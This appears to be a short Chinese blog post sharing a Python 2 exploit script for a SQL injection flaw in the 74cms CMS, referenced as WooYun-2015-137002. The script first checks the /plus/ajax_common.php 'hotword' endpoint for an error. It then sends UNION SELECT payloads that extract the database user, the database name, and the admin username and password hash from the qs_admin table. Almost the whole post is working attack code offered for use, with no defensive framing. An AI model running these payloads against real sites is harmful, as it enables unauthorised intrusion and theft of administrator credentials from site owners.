74cms 注入exp

遇到就瞎写了一个：

 #!/usr/bin/env python
 #encoding:utf-8
 #by i3ekr

 import requests,optparse,re
 parse = optparse.OptionParser(usage="python %prog url")
 parse.add_option('-u','--url',dest='url',metavar='urls',help='please input url!!!')
 parse.set_defaults(v=1.2)
 options,args=parse.parse_args()
 url = options.url

 def check(url):
     payload = "/plus/ajax_common.php?query=0%27&act=hotword"
     html = requests.get(url+payload).content
     if "Query error" in html:
         print """[+] 漏洞存在
 [+] WooYun-2015-137002
 [+] http://www.anquan.us/static/bugs/wooyun-2015-0137002.html
 -------------------------------------------------------------
         """
     else:
         print "[-] 漏洞不存在"
         exit()

 def attack(url):
     user = requests.get(url+"/plus/ajax_common.php?query='+and+0+union+select+1,user(),3+and+'&act=hotword").content
     print "[+] "+user
     database = requests.get(url+"/plus/ajax_common.php?query='+and+0+union+select+1,database(),3+and+'&act=hotword").content
     print "[+] "+database
     username = requests.get(url+"/plus/ajax_common.php?query=0' union select 1,(select admin_name from qs_admin),3 and '&act=hotword").content
     print "[+] "+username
     password = requests.get(url+"/plus/ajax_common.php?query=0' union select 1,(select pwd from qs_admin),3 and '&act=hotword").content
     print "[+] "+password

 def ress(html):
     res = r"\[\'(.*?)\'\]"
     ok = re.findall(res,html)[0]
     print ok

 if __name__ == "__main__":
     check(url)
     attack(url)